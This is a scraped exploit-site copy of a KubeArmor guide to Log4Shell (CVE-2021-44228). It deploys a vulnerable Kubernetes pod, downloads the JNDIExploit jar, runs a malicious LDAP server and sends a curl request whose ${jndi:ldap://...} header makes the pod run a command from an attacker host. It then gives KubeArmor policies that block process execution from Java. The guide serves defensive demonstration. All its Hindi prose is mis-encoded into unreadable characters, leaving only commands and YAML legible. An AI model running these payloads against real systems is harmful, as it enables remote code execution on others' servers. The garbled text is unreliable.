## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KUBEARMOR-LOG4J-CVE-2021-44228
# Apache Log4j рдЬреАрд░реЛ рдбреЗ рдЙрд░реНрдл Log4Shell рдЙрд░реНрдл CVE-2021-44228
* рдкрд░рд┐рдЪрдп
* k8s рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди
* рднреЗрджреНрдпрддрд╛ рд╡рд╛рд▓реЗ k8s рд╡рд╛рддрд╛рд╡рд░рдг рдХреА рд╕реНрдерд╛рдкрдирд╛
* рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╛рдзрд╛рди
* KubeArmor рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐
* JVM/Java рд╕реЗ рдХрд┐рд╕реА рднреА exec рдХреА рдЕрдиреБрдорддрд┐ рди рджреЗрдирд╛
* рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЕрд╕реНрд╡реАрдХрд╛рд░-рдЖрдзрд╛рд░рд┐рдд рдирд┐рдпрдо
* рдкреЙрдбреНрд╕ рдореЗрдВ KubeArmor рджреГрд╢реНрдпрддрд╛/рдЕрд╡рд▓реЛрдХрди
* Cilium рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐
* RMI рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛
* рднрд╡рд┐рд╖реНрдп рдХреЗ рдЬреАрд░реЛ-рдбреЗ рдХреЛ рд░реЛрдХрдирд╛
* рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рд▓реЙрдЧ4рдЬреЗ рднреЗрджреНрдпрддрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рдХреИрд╕реЗ рд░реЛрдХ рд╕рдХрддрд╛ рд╣реИ?
* KubeArmor рдФрд░ рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ
* рдХреНрд░реЗрдбрд┐рдЯ
## рдкрд░рд┐рдЪрдп
9 рджрд┐рд╕рдВрдмрд░, 2021 рдХреЛ, рджреБрдирд┐рдпрд╛ рдПрдХ рдирдИ рднреЗрджреНрдпрддрд╛ рд╕реЗ рдЕрд╡рдЧрдд рд╣реБрдИ рдЬрд┐рд╕реЗ CVE-2021-44228 рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛, рдЬреЛ Apache Java рд▓реЙрдЧрд┐рдВрдЧ рдкреИрдХреЗрдЬ log4j рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдиреЗ рдЧрдВрднреАрд░рддрд╛ рд╕реНрдХреЛрд░ 10.0 (рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрджрдирд╛рдо) рдЕрд░реНрдЬрд┐рдд рдХрд┐рдпрд╛ рдФрд░ рдЙрди рд╣реЛрд╕реНрдЯреЛрдВ рдкрд░ рд╕рд░рд▓ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ рдЬреЛ рдЗрд╕ log4j рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реЗ рдЬреБрдбрд╝рддреЗ рд╣реИрдВред "Log4Shell" рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдирд╛рдо рд╣реИред
рдЖрдЬ, log4j рд╕рдВрд╕реНрдХрд░рдг 2.15.0rc2 рдЙрдкрд▓рдмреНрдз рд╣реИ рдФрд░ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкреИрдЪ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рднрд╛рд░реА рдЦрддрд░рд╛ рдЗрд╕ рдмрд╛рдд рдХреЗ рдХрд╛рд░рдг рд╣реИ рдХрд┐ рд▓реЙрдЧрд┐рдВрдЧ рдкреИрдХреЗрдЬ рдХрд┐рддрдирд╛ рд╕рд░реНрд╡рд╡реНрдпрд╛рдкреА рд╣реИред рд▓рд╛рдЦреЛрдВ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░рджрд╛рддрд╛ рдЕрдкрдиреЗ рдХреЛрдб рдореЗрдВ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред
рдЬреНрдЮрд╛рдд рд╕рдмрд╕реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрд╣рдЪрд╛рди: 2021-12-01 04:36:50 UTC 
**рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг:**
* Log4j <= 2.14.1
* Apache: 2.0 <= Apache log4j <= 2.14.1
рдХреМрди рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИ?
* **рдкреНрд░рднрд╛рд╡** : рдЬрд┐рд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдореВрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЪрд▓ рд░рд╣реА рд╣реИ, рдЙрд╕рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рд▓рд╛рдпрд╛ рдЧрдпрд╛ рдХреЛрдб, рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж lolbins, рдпрд╛ рдХреЗрд╡рд▓ рд╕рд╛рдЭрд╛ рд░рд╣рд╕реНрдпреЛрдВ рдпрд╛ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░реЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд╛рдкрд╕ рднреЗрдЬрдирд╛)ред
* **рд▓рдХреНрд╖реНрдп** : рд╕рд░реНрд╡рд░ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдЬреЛ Java рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдФрд░ log4j рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рднреА рд▓реЙрдЧ рдХрд░рддреЗ рд╣реИрдВ - рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЪрд┐рдВрддрд╛, рд▓реЗрдХрд┐рди рдХреЛрдИ рднреА рдХрдордЬреЛрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд▓рдХреНрд╖реНрдп рдпрд╛ рдкрд┐рд╡рдЯ рдкреЙрдЗрдВрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
* **рдбрд╛рдЙрдирд╕реНрдЯреНрд░реАрдо рдкреНрд░реЛрдЬреЗрдХреНрдЯреНрд╕** : рдЬрдм рддрдХ рдЕрдиреНрдпрдерд╛ рд╕рд┐рджреНрдз рди рд╣реЛ, рдорд╛рди рд▓реЗрдВ рдХрд┐ log4j рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рднреА рдЪреАрдЬрд╝ - рдЬрд┐рд╕рдореЗрдВ Elasticsearch, Apache Struts / Solr / Druid / Flink рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ - рдЗрд╕ рддрд░рд╣ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рд╢рдорди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
* **рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг** : log4j 2.x рдкреБрд╖реНрдЯрд┐ - log4j 1.x рдХреЗрд╡рд▓ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ (рдкрд┐рдЫрд▓реА рд╕реВрдЪрдирд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рднреЗрджреНрдпрддрд╛рдПрдВ) (рдХреБрдЫ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ)
* **рдЙрдкрдХрд░рдг** : рдЙрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рди рднреВрд▓реЗрдВ рдЬреЛ Java рд╕рд░реНрд╡рд░ рдШрдЯрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЕрдкреНрд░рдорд╛рдгрд┐рдд рднреЗрджреНрдпрддрд╛ рд╕реНрдХреИрдирд┐рдВрдЧ рджреНрд╡рд╛рд░рд╛ рдЙрдирдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛
* **рд▓реЙрдЧ рдлрд╝реЙрд░рд╡рд░реНрдбрд┐рдВрдЧ** : рд▓реЙрдЧрд┐рдВрдЧ рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдореЗрдВ рдЕрдХреНрд╕рд░ рдХрдИ "рдЙрддреНрддрд░рдореБрдЦреА" (рдореЗрд░реЗ рд▓реЙрдЧ рдХрд┐рд╕реА рдХреЛ рднреЗрдЬреЗрдВ) рдФрд░ "рджрдХреНрд╖рд┐рдгрдореБрдЦреА" (рдХрд┐рд╕реА рд╕реЗ рд▓реЙрдЧ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛) рдлрд╝реЙрд░рд╡рд░реНрдбрд┐рдВрдЧ/рд░рд┐рд▓реЗрдЗрдВрдЧ рдЯреЛрдкреЛрд▓реЙрдЬреА рд╣реЛрддреА рд╣реИрдВред рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝рдиреЗ рдкрд░ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
* **рдХреНрд▓рд╛рдЙрдб** : рдХрдИ рдмрдбрд╝реЗ рдкреНрд░рджрд╛рддрд╛ рднреА рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИрдВ (CVE-2021-44228 рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдПрдХ рд╕рдореБрджрд╛рдп-рдХреНрдпреВрд░реЗрдЯреЗрдб рд╕реВрдЪреА рдЗрд╕ GitHub рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ)ред
## k8s рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди

### рднреЗрджреНрдпрддрд╛ рд╡рд╛рд▓реЗ k8s рд╡рд╛рддрд╛рд╡рд░рдг рдХреА рд╕реНрдерд╛рдкрдирд╛
**рдЪрд░рдг #1:** рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ Log4j рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╕рдВрдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛рдУрдВ рд╡рд╛рд▓реЗ рдкреЙрдб рдХреЛ рддреИрдирд╛рдд рдХрд░рдирд╛
root@kitploit:~
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
* рддреИрдирд╛рддреА рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдФрд░ рдмрд╛рд╣рд░реА IP рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдЖрджреЗрд╢ рдЯрд╛рдЗрдк рдХрд░реЗрдВ:
root@kitploit:~
kubectl get po,svc
* рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдЖрдЙрдЯрдкреБрдЯ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП
root@kitploit:~
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
> рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рд╣рдордиреЗ `default` рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдХрдордЬреЛрд░ Log4Shell рдирдореВрдирд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреИрдирд╛рдд рдХрд┐рдпрд╛ рд╣реИ
**рдЪрд░рдг #2:** рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг LDAP рд╕рд░реНрд╡рд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛
root@kitploit:~
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
**рдЪрд░рдг #3:** рдЕрдкрдиреЗ PC рдпрд╛ рдХреНрд▓рд╛рдЙрдб VM рдкрд░ рдЗрдирдХрдорд┐рдВрдЧ рдЯреНрд░реИрдлрд┐рдХ рдХреЗ рд▓рд┐рдП LDAP рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░рдирд╛
root@kitploit:~
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
> рдкреНрд░рд╛рдЗрд╡реЗрдЯ IP `hostname -I` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд╡реЗрд░реА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
> рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХрд╛ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдкреЛрд░реНрдЯ `1389` рдФрд░ `8888` рдХреЗ рд▓рд┐рдП рдЯреНрд░реИрдлрд┐рдХ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ
**рдЪрд░рдг #4:** `cURL` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реЛрд╖рдг
root@kitploit:~
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
> рдпрд╣рд╛рдБ, рдкрд╣рд▓рд╛ IP рд╣рдорд╛рд░рд╛ k8s рдмрд╛рд╣рд░реА IP рд╣реИ (рдЪрд░рдг #1) рдЬрд╣рд╛рдБ рдХрдордЬреЛрд░ рдирдореВрдирд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЪрд▓ рд░рд╣рд╛ рд╣реИред
> рджреВрд╕рд░рд╛ IP рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг LDAP рд╕рд░реНрд╡рд░ рдХрд╛ рдмрд╛рд╣рд░реА IP рд╣реИ (рдЪрд░рдг #2)
**рдЪрд░рдг #5:** рдлрд╝рд╛рдЗрд▓ `/tmp/pwned` рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреА рдЬрд╛рдБрдЪ рдХрд░рдХреЗ рдкреБрд╖реНрдЯрд┐
root@kitploit:~
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
> `log4j-demo-5d7c84d8b9-vs8ck` рдХреЛ рдЪрд░рдг #1 рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рдЕрдкрдиреЗ рдкреЙрдб рд╕реЗ рдмрджрд▓реЗрдВред
> рдЖрдкрдХреЛ `/tmp` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдВрджрд░ `pwned` рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдИ рдЧрдИ рдПрдХ рдлрд╝рд╛рдЗрд▓ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
## рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╛рдзрд╛рди
### KubeArmor рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐
KubeArmor рдПрдХ рд░рдирдЯрд╛рдЗрдо рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╣реИ рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛/DevSecOps рдЯреАрдореЛрдВ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди/рд╕рд┐рд╕реНрдЯрдо-рдЖрдзрд╛рд░рд┐рдд рдирд┐рдпрдВрддреНрд░рдгреЛрдВ (рдЬреИрд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрдкреЙрдирд┐рдВрдЧ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛, рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд╣реБрдВрдЪ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛, рдкреЙрдб рдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛ рдЖрджрд┐) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреЗ рд╡рд░реНрдХрд▓реЛрдб рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред KubeArmor рдореЗрдВ рдПрдХ рджреГрд╢реНрдпрддрд╛ рдореЛрдб рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди/рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо рджреГрд╢реНрдпрддрд╛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреА рд╣реИ рдЬрд┐рд╕рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдкреЙрдб рдХреЗ рдЕрдВрджрд░ рдХреНрдпрд╛ рд╣реЛ рд░рд╣рд╛ рд╣реИ рдЕрд░реНрдерд╛рддреН, рдХреМрди рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕реНрдкреЙрди рдХреА рдЧрдИ рд╣реИрдВ, рдХреМрди рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕реЗрд╕ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЖрджрд┐ред KubeArmor рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдмрд╕реЗ рдмрдбрд╝рд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдРрд╕реА рдиреАрддрд┐рдпрд╛рдБ рднреА рд╕рдмрдорд┐рдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдРрд╕реЗ рд╕рд┐рд╕реНрдЯрдо рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд░реЛрдХ/рдмреНрд▓реЙрдХ/рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд╕рдХрддреА рд╣реИрдВред
рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЖрдВрддрд░рд┐рдХ рдбреЗрдЯрд╛ рдХреЛ рдмрд╛рд╣рд░ рдирд┐рдХрд╛рд▓рдиреЗ рдпрд╛ рдХреНрд░рд┐рдкреНрдЯреЛрдорд╛рдЗрдирд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдпрд╛ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рдРрдкреНрд╕ рдореЗрдВ рддрдмрд╛рд╣реА рдордЪрд╛рдиреЗ рдХреЗ рдЗрд░рд╛рджреЗ рд╕реЗ рдШреБрд╕рдкреИрда рдХрд░рддрд╛ рд╣реИред рдЗрди рд╕рднреА рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдЕрдкрдиреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЗрд░рд╛рджреЗ рдХреЛ рдкреВрд░рд╛ рдХрд░ рд╕рдХреЗред Log4j рднреЗрджреНрдпрддрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдПрдХ рдмрд╛рдЗрдирд░реА рд░рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдРрд╕реА рдЧрд╛рд░реНрдбрд░реЗрд▓ рд▓рдЧрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рддрд╛рдХрд┐ JVM рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕реНрдкреЙрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рди рд╣реЛред
#### JVM/Java рд╕реЗ рдХрд┐рд╕реА рднреА exec рдХреА рдЕрдиреБрдорддрд┐ рди рджреЗрдирд╛
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдХ KubeArmor рдиреАрддрд┐ рд╣реИ рдЬреЛ рдкреЙрдб рдореЗрдВ Java рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдЪрд╛рдЗрд▓реНрдб рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдлрд╝реЛрд░реНрдХ рдХрд┐рдП рдЬрд╛рдиреЗ рд╕реЗ рдЕрд╕реНрд╡реАрдХрд╛рд░/рд░реЛрдХ рд╕рдХрддреА рд╣реИред
root@kitploit:~
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣рд╛рдБ рдХреНрд░рд┐рдпрд╛ `Block` рд╣реИред `fromSource` рд╢рд░реНрдд рдкрд░ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдЬреЛ рдХрд╣рддреА рд╣реИ рдХрд┐ рдХреЗрд╡рд▓ рджреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ exec рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ, рдХреЗрд╡рд▓ Java/JVM рдХреА рдЪрд╛рдЗрд▓реНрдб рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ exec рд╕реЗ рд╡рдВрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЕрдиреНрдп рдЯреВрд▓рд┐рдВрдЧ рдХреЗ рд╡рд┐рдкрд░реАрдд, KubeArmor рдореЗрдВ рд░рдирдЯрд╛рдЗрдо рдкрд░ рд╕рд┐рд╕реНрдЯрдо рд╕рдВрдЪрд╛рд▓рди рдХреЛ `Block` рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред
#### рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЕрд╕реНрд╡реАрдХрд╛рд░-рдЖрдзрд╛рд░рд┐рдд рдирд┐рдпрдо
рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреБрдЫ рдореМрдЬреВрджрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрднреА рднреА Java/JVM рджреНрд╡рд╛рд░рд╛ рд╕реНрдкреЙрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдРрд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ `Allow` рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИред рдЗрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдХрд░, KubeArmor рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕ рдореВрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреНрдп рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ:
root@kitploit:~
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, `myapp` рдФрд░ `log4j` рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрднреА рднреА Java рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реНрдкреЙрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рд▓реЗрдХрд┐рди рд╢реЗрд╖ рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
#### рдкреЙрдбреНрд╕ рдореЗрдВ KubeArmor рджреГрд╢реНрдпрддрд╛/рдЕрд╡рд▓реЛрдХрди
